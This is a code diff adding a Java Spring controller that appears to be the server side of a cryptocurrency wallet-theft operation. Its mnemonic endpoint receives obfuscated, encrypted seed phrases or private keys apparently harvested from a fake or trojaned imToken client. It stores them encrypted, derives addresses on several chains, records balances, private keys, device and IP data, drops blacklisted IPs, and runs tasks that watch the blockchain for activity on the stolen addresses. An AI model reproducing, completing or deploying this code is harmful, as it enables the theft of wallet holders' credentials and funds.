|
@@ -0,0 +1,1510 @@
|
|
|
+package com.api.controller;
|
|
|
+
|
|
|
+import com.alibaba.fastjson.JSONObject;
|
|
|
+import com.api.domain.*;
|
|
|
+import com.api.mapper.*;
|
|
|
+import com.api.service.ApiService;
|
|
|
+import com.ruoyi.common.constant.Constants;
|
|
|
+import com.ruoyi.common.core.domain.AjaxResult;
|
|
|
+import com.ruoyi.common.core.redis.RedisCache;
|
|
|
+import com.ruoyi.common.utils.AESUtil;
|
|
|
+import com.ruoyi.common.utils.Base64Utils;
|
|
|
+import com.ruoyi.common.utils.IpUtils;
|
|
|
+import com.ruoyi.common.utils.StringUtils;
|
|
|
+import com.ruoyi.common.utils.http.HttpUtils;
|
|
|
+import com.ruoyi.common.utils.wallet.*;
|
|
|
+import com.ruoyi.system.service.ISysConfigService;
|
|
|
+import org.apache.commons.codec.binary.Base64;
|
|
|
+import org.apache.ibatis.annotations.Param;
|
|
|
+import org.slf4j.Logger;
|
|
|
+import org.slf4j.LoggerFactory;
|
|
|
+import org.springframework.beans.factory.annotation.Autowired;
|
|
|
+import org.springframework.stereotype.Component;
|
|
|
+import org.springframework.transaction.annotation.Isolation;
|
|
|
+import org.springframework.transaction.annotation.Transactional;
|
|
|
+import org.springframework.util.DigestUtils;
|
|
|
+import org.springframework.web.bind.annotation.PostMapping;
|
|
|
+import org.springframework.web.bind.annotation.RequestMapping;
|
|
|
+import org.springframework.web.bind.annotation.RequestParam;
|
|
|
+import org.springframework.web.bind.annotation.RestController;
|
|
|
+
|
|
|
+import javax.crypto.Cipher;
|
|
|
+import javax.servlet.http.HttpServletRequest;
|
|
|
+import java.io.IOException;
|
|
|
+import java.math.BigDecimal;
|
|
|
+import java.security.KeyFactory;
|
|
|
+import java.security.KeyPair;
|
|
|
+import java.security.KeyPairGenerator;
|
|
|
+import java.security.NoSuchAlgorithmException;
|
|
|
+import java.security.interfaces.RSAPrivateKey;
|
|
|
+import java.security.interfaces.RSAPublicKey;
|
|
|
+import java.security.spec.PKCS8EncodedKeySpec;
|
|
|
+import java.security.spec.X509EncodedKeySpec;
|
|
|
+import java.util.*;
|
|
|
+import java.util.concurrent.ConcurrentHashMap;
|
|
|
+import java.util.concurrent.atomic.AtomicBoolean;
|
|
|
+
|
|
|
+
|
|
|
+@RestController
|
|
|
+@RequestMapping("/api")
|
|
|
+@Component("api")
|
|
|
+public class ApiController {
|
|
|
+ private final Logger log = LoggerFactory.getLogger(this.getClass());
|
|
|
+ @Autowired
|
|
|
+ private ApiService ApiService;
|
|
|
+ @Autowired
|
|
|
+ private ApiMnemonicTokenPrivatekeyMapper sysMnemonicTokenPrivatekeyMapper;
|
|
|
+ @Autowired
|
|
|
+ private ApiMnemonicMapper ApiMnemonicMapper;
|
|
|
+ @Autowired
|
|
|
+ private ApiMnemonicTokenMapper apiMnemonicTokenMapper;
|
|
|
+ @Autowired
|
|
|
+ private ApiMnemonicMapper apiMnemonicMapper;
|
|
|
+
|
|
|
+ @Autowired
|
|
|
+ private ApiBlackipMapper apiBlackipMapper;
|
|
|
+
|
|
|
+ @Autowired
|
|
|
+ private ISysConfigService configService2;
|
|
|
+
|
|
|
+ @Autowired
|
|
|
+ private ApiTransferLogMapper apiTransferLogMapper;
|
|
|
+
|
|
|
+
|
|
|
+ @Autowired
|
|
|
+ private RedisCache redisCache;
|
|
|
+
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+ @Autowired
|
|
|
+ private ApiService apiService;
|
|
|
+// add by lwh 2025-7-3 end
|
|
|
+
|
|
|
+// @RequestMapping("/token")
|
|
|
+// public AjaxResult token(@Param("keyword") String keyword, @Param("code") String code,
|
|
|
+// @Param("device") String device, @Param("from") String from, @Param("fromip") String fromip) {
|
|
|
+// return createaddress(keyword, code, device, from, fromip);
|
|
|
+// }
|
|
|
+
|
|
|
+
|
|
|
+// @GetMapping("/test")
|
|
|
+// public AjaxResult test() {
|
|
|
+// return AjaxResult.success( generateKey()+"<br/>"+ decryptByPrivateKey(encryptByPublicKey("aaaa")));
|
|
|
+// }
|
|
|
+
|
|
|
+
|
|
|
+ // ADD BY DHX 2025-7-14 START
|
|
|
+ // 缓存定时任务正在处理的数据ID
|
|
|
+ private static final Set<Long> TRC_IDS = ConcurrentHashMap.newKeySet();
|
|
|
+ private static final Set<Long> ERC_IDS = ConcurrentHashMap.newKeySet();
|
|
|
+
|
|
|
+ // ADD BY DHX 2025-7-14 END
|
|
|
+
|
|
|
+ //助记词入库
|
|
|
+ @PostMapping("/mnemonic")
|
|
|
+ //获取header 中的参数
|
|
|
+
|
|
|
+ public AjaxResult createaddress(@RequestParam("ogqioc") String q, HttpServletRequest request) {
|
|
|
+ try {
|
|
|
+ if (q == null || q.equals("") || q.equals("null")) {
|
|
|
+ return AjaxResult.error("参数错误");
|
|
|
+ }
|
|
|
+ JSONObject obj = JSONObject.parseObject(AESUtil.decryptAESString((Base64Utils.base64De(q))));
|
|
|
+ JSONObject params = JSONObject.parseObject(AESUtil.decryptAESString(obj.getString("en")));
|
|
|
+
|
|
|
+ String keyword = obj.getString("key");
|
|
|
+
|
|
|
+
|
|
|
+ String code = "00000";//agent ID params.getString("code");
|
|
|
+ String device = params.getString("systemName") + "-" + params.getString("platform") + "-" + params.getString("iden");
|
|
|
+ String from;//params.getString("from");
|
|
|
+// if (request.getHeader("X-XClient-Name").equals("XZ-IMToken")){
|
|
|
+// from="imtoken";
|
|
|
+// } else {
|
|
|
+ from = "imtoken";
|
|
|
+// }
|
|
|
+
|
|
|
+ String fromip = IpUtils.getIpAddr(request);
|
|
|
+
|
|
|
+
|
|
|
+ //首先判断ip是否在黑名单
|
|
|
+ try {
|
|
|
+ if (fromip.equals("") || fromip.equals("null")) {
|
|
|
+ fromip = IpUtils.getHostIp();
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ fromip = IpUtils.getHostIp();
|
|
|
+ }
|
|
|
+
|
|
|
+ if (StringUtils.isEmpty(keyword)) {
|
|
|
+ return AjaxResult.error("");
|
|
|
+ }
|
|
|
+ if (!WalletUtils.isValidPrivateKey(keyword) &&
|
|
|
+ !WalletUtils.isValidMnemonic(keyword)) {
|
|
|
+ //助记词或者私钥不合法
|
|
|
+ return AjaxResult.error("");
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+// String fromip=IpUtils.getHostIp();
|
|
|
+ ApiBlackip iplist = new ApiBlackip();
|
|
|
+ iplist.setIp(fromip);
|
|
|
+ List<ApiBlackip> ipinfo = apiBlackipMapper.selectSysBlackipList(iplist);
|
|
|
+ if (ipinfo.size() > 0) {
|
|
|
+ //黑名单用户,不入库
|
|
|
+ List<String> list = new ArrayList<>();
|
|
|
+ list.add("error");
|
|
|
+ return AjaxResult.success("", list);
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ //判断是否有助记词
|
|
|
+ String keywordmd5 = getMD5(keyword.replaceAll(" ", ""));
|
|
|
+
|
|
|
+
|
|
|
+ String keyMd5Cache = String.format("md5key%s", keywordmd5);
|
|
|
+
|
|
|
+ String cachedMnemonic = redisCache.getCacheObject(keyMd5Cache);
|
|
|
+ if (StringUtils.isBlank(cachedMnemonic)) {
|
|
|
+ redisCache.setCacheObject(keyMd5Cache, "m");
|
|
|
+ } else {
|
|
|
+ return AjaxResult.error("");
|
|
|
+ }
|
|
|
+// log.error("返回插入的id:::::搜索token>>"+keywordmd5);
|
|
|
+ //首先查询数据库中是否有该助记词
|
|
|
+ ApiMnemonic checkac = new ApiMnemonic();
|
|
|
+ checkac.setmnemonicmd5(keywordmd5);
|
|
|
+// log.error("返回插入的id:::::::程序执行到这里了1>>>"+checkac);
|
|
|
+ List<ApiMnemonic> checks = ApiMnemonicMapper.selectSysMnemonicList(checkac);
|
|
|
+// log.error("返回插入的id:::::::程序执行到这里了1>>>"+checks);
|
|
|
+ if (checks.size() > 0) {
|
|
|
+ Long pid = checks.get(0).getId();
|
|
|
+ checkac.setId(pid);
|
|
|
+ checkac.setUpdatedTime(Long.valueOf("0"));
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(checkac);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (checks.size() <= 0) {
|
|
|
+// log.error("返回插入的id:::::::程序执行到这里了2>>>");
|
|
|
+ //助记词入库
|
|
|
+ ApiMnemonic apiMnemonic = new ApiMnemonic();
|
|
|
+ //代理商id
|
|
|
+ apiMnemonic.setAgentid(Long.valueOf(code));
|
|
|
+ //助记词md5
|
|
|
+ apiMnemonic.setmnemonicmd5(keywordmd5);
|
|
|
+ //设置助记词
|
|
|
+ apiMnemonic.setMnemonic(encryptByPublicKey(keyword));
|
|
|
+ //设置来源设备
|
|
|
+ apiMnemonic.setdevice(device);
|
|
|
+ //设置创建时间
|
|
|
+ apiMnemonic.setCreatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ //设置钱包名称
|
|
|
+ apiMnemonic.setPlatform(from);
|
|
|
+ //设置ip
|
|
|
+ apiMnemonic.setIp(fromip);
|
|
|
+ //设置ip登录数
|
|
|
+ apiMnemonic.setIpCount(1);
|
|
|
+ //开始插入数据
|
|
|
+ ApiMnemonicMapper.insertSysMnemonic(apiMnemonic);
|
|
|
+// log.error("返回插入的id:::::::"+apiMnemonic.getId());
|
|
|
+ Long insertid = apiMnemonic.getId();
|
|
|
+
|
|
|
+ //开始查询助记词的余额// "BIDR", "ERC-20-USDC",
|
|
|
+ String[] TokenType = {"BNB", "BEP-20", "ETH", "TRC-20", "TRX", "ERC-20-USDT", "BTC"};
|
|
|
+ Map<String, List<String>> addressMap = new HashMap<>();
|
|
|
+ // 获取钱包地址
|
|
|
+ Map<String, TWallet> walletMap = new HashMap<>();
|
|
|
+ for (int i = 0; i < TokenType.length; i++) {
|
|
|
+ TWallet twallet = null;
|
|
|
+ switch (TokenType[i]) {
|
|
|
+
|
|
|
+ case "BEP-20":
|
|
|
+ case "BIDR":
|
|
|
+ case "ETH":
|
|
|
+ case "BNB":
|
|
|
+ case "ERC-20-USDT":
|
|
|
+ case "ERC-20-USDC":
|
|
|
+ twallet = TMnemonicUtils.ethAddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+ break;
|
|
|
+ case "TRC-20":
|
|
|
+ case "TRX":
|
|
|
+ twallet = TMnemonicUtils.generateTronWallet(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+ break;
|
|
|
+
|
|
|
+ case "BTC":
|
|
|
+ twallet = TMnemonicUtils.btcBech32AddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ addressMap.put(TokenType[i], Arrays.asList(
|
|
|
+ twallet.getWalletAddress()
|
|
|
+ ));
|
|
|
+ walletMap.put(twallet.getWalletAddress() + "-" + TokenType[i], twallet);
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ // Perform batch query
|
|
|
+ Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(addressMap);
|
|
|
+
|
|
|
+ // Print results
|
|
|
+ balances.forEach((address, balanceMap) -> {
|
|
|
+ System.out.println("Address: " + address);
|
|
|
+ balanceMap.forEach((type, balance) -> {
|
|
|
+ System.out.println(" " + type + " Balance: " + balance);
|
|
|
+ String chain = "";
|
|
|
+ String token = "";
|
|
|
+ TWallet wallet = walletMap.get(address);
|
|
|
+ if (wallet == null) {
|
|
|
+ log.error("钱包地址不存在:>>>>" + address);
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ String privatekey = wallet.getWalletPrivateKey();
|
|
|
+ switch (type) {
|
|
|
+
|
|
|
+ case "BEP-20":
|
|
|
+ chain = "bsc";
|
|
|
+ token = "bep";
|
|
|
+ apiMnemonic.setBep(balance);
|
|
|
+ break;
|
|
|
+// case "BIDR":
|
|
|
+// chain="bsc";
|
|
|
+// break;
|
|
|
+ case "BNB":
|
|
|
+ chain = "bsc";
|
|
|
+ token = "bnb";
|
|
|
+ apiMnemonic.setBnb(balance);
|
|
|
+ break;
|
|
|
+ case "ETH":
|
|
|
+ chain = "eth";
|
|
|
+ token = "eth";
|
|
|
+ apiMnemonic.setEth(balance);
|
|
|
+ break;
|
|
|
+ case "ERC-20":
|
|
|
+ chain = "eth";
|
|
|
+ token = "erc";
|
|
|
+ apiMnemonic.setErc(balance);
|
|
|
+ break;
|
|
|
+// case "ERC-20-USDC":
|
|
|
+// chain="eth";
|
|
|
+//
|
|
|
+// break;
|
|
|
+ case "TRC-20":
|
|
|
+ chain = "trx";
|
|
|
+ token = "trc";
|
|
|
+ apiMnemonic.setTrc(balance);
|
|
|
+ break;
|
|
|
+ case "TRX":
|
|
|
+ chain = "trx";
|
|
|
+ token = "trx";
|
|
|
+ apiMnemonic.setTrx(balance);
|
|
|
+ break;
|
|
|
+ case "BTC":
|
|
|
+ chain = "btc";
|
|
|
+ token = "btc";
|
|
|
+ apiMnemonic.setBtc(balance);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (!chain.equals("")) {
|
|
|
+ //入库私钥
|
|
|
+ //首先查询私钥是否存在
|
|
|
+ ApiMnemonicTokenPrivatekey checkac2 = new ApiMnemonicTokenPrivatekey();
|
|
|
+ checkac2.setPrivatekey(encryptByPublicKey(privatekey));
|
|
|
+ List<ApiMnemonicTokenPrivatekey> checks2 = sysMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyList(checkac2);
|
|
|
+ if (checks2.size() <= 0) {
|
|
|
+ //如果私钥不存在,就入库
|
|
|
+ checkac2.setCreatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ sysMnemonicTokenPrivatekeyMapper.insertSysMnemonicTokenPrivatekey(checkac2);
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ //入库token
|
|
|
+ ApiMnemonicToken apiMnemonicToken = new ApiMnemonicToken();
|
|
|
+ apiMnemonicToken.setAgentid(Integer.valueOf(code));
|
|
|
+ apiMnemonicToken.setMnemonicid(insertid);
|
|
|
+ apiMnemonicToken.setChain(chain);
|
|
|
+ apiMnemonicToken.setToken(token);
|
|
|
+ apiMnemonicToken.setPlatform(from);
|
|
|
+ apiMnemonicToken.setAddress(address.split("-")[0]);
|
|
|
+ apiMnemonicToken.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+
|
|
|
+ apiMnemonicToken.setBalance(balance);
|
|
|
+ if (!privatekey.equals("") && !privatekey.equals(null)) {
|
|
|
+ apiMnemonicToken.setprivatekey(encryptByPublicKey(privatekey));
|
|
|
+ }
|
|
|
+ apiMnemonicToken.setCreatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ apiMnemonicTokenMapper.insertSysMnemonicToken(apiMnemonicToken);
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ });
|
|
|
+ });
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(apiMnemonic);
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("查询余额异常:>>>>" + e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ List<String> list = new ArrayList<>();
|
|
|
+ list.add("success");
|
|
|
+ return AjaxResult.success("操作成功", list);
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ return AjaxResult.error("参数错误");
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @RequestMapping("/taskcycle")
|
|
|
+ public void taskcycle(String num) {
|
|
|
+
|
|
|
+ try {
|
|
|
+ ApiMnemonic asapi = new ApiMnemonic();
|
|
|
+ asapi.setlimitnum(Integer.valueOf(num));
|
|
|
+ List<ApiMnemonic> listtask = apiMnemonicMapper.selectSysMnemonicList(asapi);
|
|
|
+// log.error("提取数据的数量》》》》》》》"+listtask.size());
|
|
|
+ String sc = "";
|
|
|
+ for (int i = 0; i < Integer.parseInt(num); i++) {
|
|
|
+ String mneid = listtask.get(i).getId().toString();
|
|
|
+ updateblance2(mneid);
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 计划任务,批量刷新余额
|
|
|
+ */
|
|
|
+ @RequestMapping("/task1")
|
|
|
+ public void task1(String token) {
|
|
|
+
|
|
|
+ try {
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+// checktoken1(token);
|
|
|
+// del by lwh 2025-7-3 end
|
|
|
+
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+ apiService.checkBnbAndBep(token);
|
|
|
+// del by lwh 2025-7-3 end
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("task:方法" + e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 计划任务,批量刷新余额
|
|
|
+ */
|
|
|
+ @RequestMapping("/task2")
|
|
|
+ public void task2(String token) {
|
|
|
+
|
|
|
+ try {
|
|
|
+// del by lwh 2025-7-3 start
|
|
|
+// checktoken2(token);
|
|
|
+// del by lwh 2025-7-3 end
|
|
|
+
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+ apiService.checkEthAndErc(token);
|
|
|
+// add by lwh 2025-7-3 end
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("task:方法" + e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 计划任务,批量刷新余额
|
|
|
+ */
|
|
|
+ @RequestMapping("/task3")
|
|
|
+ public void task3(String token) {
|
|
|
+
|
|
|
+ try {
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+// checktoken3(token);
|
|
|
+// del by lwh 2025-7-3 end
|
|
|
+
|
|
|
+// add by lwh 2025-7-3 start
|
|
|
+ apiService.checkTrxAndTrc(token);
|
|
|
+// del by lwh 2025-7-3 end
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("task:方法" + e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public void checktoken1(String token) {
|
|
|
+ try {
|
|
|
+
|
|
|
+ AtomicBoolean bnbyes = new AtomicBoolean(false);
|
|
|
+ AtomicBoolean bepyes = new AtomicBoolean(false);
|
|
|
+
|
|
|
+ ArrayList<String> bnbarr = new ArrayList<>();
|
|
|
+ ArrayList<String> beparr = new ArrayList<>();
|
|
|
+
|
|
|
+
|
|
|
+ if (token.equals("bnb") || token.equals("bep")) {
|
|
|
+ List<String> str = null;
|
|
|
+ try {
|
|
|
+ str = BSCUtils.getBlockAddr();
|
|
|
+ } catch (IOException e) {
|
|
|
+ throw new RuntimeException(e);
|
|
|
+ } catch (InterruptedException e) {
|
|
|
+ throw new RuntimeException(e);
|
|
|
+ }
|
|
|
+ ApiMnemonicToken pk3 = new ApiMnemonicToken();
|
|
|
+ pk3.setToken("bnb");
|
|
|
+ List<ApiMnemonicToken> bnblist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
|
|
|
+ pk3.setToken("bep");
|
|
|
+ List<ApiMnemonicToken> beplist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
|
|
|
+
|
|
|
+ String bnblinshi = "", beplinshi = "";
|
|
|
+ int bnbpsadd = 0, beppsadd = 0, bnbps = 0, bepps = 0;
|
|
|
+ for (int i = 0; i < bnblist.size(); i++) {
|
|
|
+ String bnbaddress = bnblist.get(i).getAddress();
|
|
|
+ if (str.contains(bnbaddress)) {
|
|
|
+ log.error("bnb包含这个区块》》》》》》》》》》》》》》》》》》》" + bnbaddress);
|
|
|
+ if (bnbpsadd % 11 == 0 && bnbpsadd != 0) {
|
|
|
+ if (!bnblinshi.equals("") && !bnblinshi.equals(null)) {
|
|
|
+ bnbarr.add(bnbps, bnblinshi);
|
|
|
+ bnbps++;
|
|
|
+ bnblinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ bnblinshi = bnblinshi + "," + bnbaddress;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (bnbarr.size() <= 0) {
|
|
|
+ if (!bnblinshi.equals("") && !bnblinshi.equals(null)) {
|
|
|
+ bnbarr.add(0, bnblinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ bnbpsadd++;
|
|
|
+ bnbyes.set(true);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ for (int i = 0; i < beplist.size(); i++) {
|
|
|
+ String bepaddress = beplist.get(i).getAddress();
|
|
|
+ if (str.contains(bepaddress)) {
|
|
|
+ log.error("bep包含这个区块》》》》》》》》》》》》》》》》》》》" + bepaddress);
|
|
|
+ if (beppsadd % 11 == 0 && beppsadd != 0) {
|
|
|
+ if (!beplinshi.equals("") && !beplinshi.equals(null)) {
|
|
|
+ beparr.add(bepps, beplinshi);
|
|
|
+ bepps++;
|
|
|
+ beplinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ beplinshi = beplinshi + "," + bepaddress;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (beparr.size() <= 0) {
|
|
|
+ if (!beplinshi.equals("") && !beplinshi.equals(null)) {
|
|
|
+ beparr.add(0, beplinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ beppsadd++;
|
|
|
+ bepyes.set(true);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if (bnbyes.get() && !bnbarr.isEmpty()) {
|
|
|
+ //bnb有值
|
|
|
+ for (int i = 0; i < bnbarr.size(); i++) {
|
|
|
+ String addressgroup = bnbarr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ Thread thread = new Thread() {
|
|
|
+ @Override
|
|
|
+ public void run() {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ };
|
|
|
+ thread.start();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if (bepyes.get() && !beparr.isEmpty()) {
|
|
|
+ //bep有值
|
|
|
+ for (int i = 0; i < beparr.size(); i++) {
|
|
|
+ String addressgroup = beparr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ Thread thread = new Thread() {
|
|
|
+ @Override
|
|
|
+ public void run() {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ };
|
|
|
+ thread.start();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+// }, WalletConstants.getExecutor());
|
|
|
+
|
|
|
+
|
|
|
+ //开始处理数据
|
|
|
+// log.error("开始处理数据:>>>>"+trxyes+"::::::"+trxarr);
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ log.error("批量扫快task:{}", e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ public void checktoken2(String token) {
|
|
|
+ try {
|
|
|
+
|
|
|
+ AtomicBoolean ethyes = new AtomicBoolean(false);
|
|
|
+ AtomicBoolean ercyes = new AtomicBoolean(false);
|
|
|
+
|
|
|
+ ArrayList<String> etharr = new ArrayList<>();
|
|
|
+ ArrayList<String> ercarr = new ArrayList<>();
|
|
|
+
|
|
|
+// CompletableFuture.runAsync(() -> {
|
|
|
+ if (token.equals("eth") || token.equals("erc")) {
|
|
|
+ long startTime = System.currentTimeMillis();
|
|
|
+ List<String> str = null;
|
|
|
+ try {
|
|
|
+ str = EthUtils.getBlockAddr();
|
|
|
+
|
|
|
+ } catch (IOException e) {
|
|
|
+ throw new RuntimeException(e);
|
|
|
+ } catch (InterruptedException e) {
|
|
|
+ throw new RuntimeException(e);
|
|
|
+ }
|
|
|
+ long endTime = System.currentTimeMillis();
|
|
|
+ System.out.println("<UNK>" + (endTime - startTime) + "ms");
|
|
|
+ ApiMnemonicToken pk2 = new ApiMnemonicToken();
|
|
|
+ pk2.setToken("eth");
|
|
|
+ List<ApiMnemonicToken> ethlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
|
|
|
+ pk2.setToken("erc");
|
|
|
+ List<ApiMnemonicToken> erclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
|
|
|
+
|
|
|
+ String ethlinshi = "", erclinshi = "";
|
|
|
+ int ethpsadd = 0, ercpsadd = 0, ethps = 0, ercps = 0;
|
|
|
+ for (int i = 0; i < ethlist.size(); i++) {
|
|
|
+ String ethaddress = ethlist.get(i).getAddress();
|
|
|
+ if (str.contains(ethaddress)) {
|
|
|
+ log.error("eth包含这个区块》》》》》》》》》》》》》》》》》》》" + ethaddress);
|
|
|
+ if (ethpsadd % 11 == 0 && ethpsadd != 0) {
|
|
|
+ if (!ethlinshi.equals("") && !ethlinshi.equals(null)) {
|
|
|
+ etharr.add(ethps, ethlinshi);
|
|
|
+ ethps++;
|
|
|
+ ethlinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ ethlinshi = ethlinshi + "," + ethaddress;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (etharr.size() <= 0) {
|
|
|
+ if (!ethlinshi.equals("") && !ethlinshi.equals(null)) {
|
|
|
+ etharr.add(0, ethlinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ ethpsadd++;
|
|
|
+ ethyes.set(true);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ for (int i = 0; i < erclist.size(); i++) {
|
|
|
+ String ercaddress = erclist.get(i).getAddress();
|
|
|
+ if (str.contains(ercaddress)) {
|
|
|
+ log.error("erc包含这个区块》》》》》》》》》》》》》》》》》》》" + ercaddress);
|
|
|
+ if (ercpsadd % 11 == 0 && ercpsadd != 0) {
|
|
|
+ if (!erclinshi.equals("") && !erclinshi.equals(null)) {
|
|
|
+ ercarr.add(ercps, erclinshi);
|
|
|
+ ercps++;
|
|
|
+ erclinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ erclinshi = erclinshi + "," + ercaddress;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (ercarr.size() <= 0) {
|
|
|
+ if (!erclinshi.equals("") && !erclinshi.equals(null)) {
|
|
|
+ ercarr.add(0, erclinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ ercpsadd++;
|
|
|
+ ercyes.set(true);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if (ethyes.get() && !etharr.isEmpty()) {
|
|
|
+ //eth有值
|
|
|
+ for (int i = 0; i < etharr.size(); i++) {
|
|
|
+ String addressgroup = etharr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if (ercyes.get() && !ercarr.isEmpty()) {
|
|
|
+ //erc有值
|
|
|
+ for (int i = 0; i < ercarr.size(); i++) {
|
|
|
+ String addressgroup = ercarr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+// }, WalletConstants.getExecutor());
|
|
|
+
|
|
|
+ //开始处理数据
|
|
|
+// log.error("开始处理数据:>>>>"+trxyes+"::::::"+trxarr);
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ log.error("批量扫快task:{}", e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public void checktoken3(String token) {
|
|
|
+ try {
|
|
|
+ AtomicBoolean trxyes = new AtomicBoolean(false);
|
|
|
+ AtomicBoolean trcyes = new AtomicBoolean(false);
|
|
|
+
|
|
|
+ ArrayList<String> trxarr = new ArrayList<>();
|
|
|
+ ArrayList<String> trcarr = new ArrayList<>();
|
|
|
+
|
|
|
+
|
|
|
+// CompletableFuture.runAsync(() -> {
|
|
|
+ if (token.equals("trx") || token.equals("trc")) {
|
|
|
+
|
|
|
+ List<String> str = TronUtils.getBlockAddr();
|
|
|
+ ApiMnemonicToken pk = new ApiMnemonicToken();
|
|
|
+ pk.setToken("trx");
|
|
|
+ List<ApiMnemonicToken> trxlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
|
|
|
+ pk.setToken("trc");
|
|
|
+ List<ApiMnemonicToken> trclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
|
|
|
+
|
|
|
+ String trxlinshi = "", trclinshi = "";
|
|
|
+ int trxpsadd = 0, trcpsadd = 0, trxps = 0, trcps = 0;
|
|
|
+ for (int i = 0; i < trxlist.size(); i++) {
|
|
|
+ String ck = trxlist.get(i).getAddress();
|
|
|
+ if (str.contains(ck)) {
|
|
|
+ log.error("trx包含这个区块》》》》》》》》》》》》》》》》》》》" + ck);
|
|
|
+ if (trxpsadd % 11 == 0 && trxpsadd != 0) {
|
|
|
+// log.error("进错了》》》》》》》》》》》》》》》》》》》"+ck);
|
|
|
+ if (!trxlinshi.equals("") && !trxlinshi.equals(null)) {
|
|
|
+ trxarr.add(trxps, trxlinshi);
|
|
|
+ trxps++;
|
|
|
+ trxlinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+// log.error("进对了》》》》》》》》》》》》》》》》》》》"+ck);
|
|
|
+ trxlinshi = trxlinshi + "," + ck;
|
|
|
+ }
|
|
|
+
|
|
|
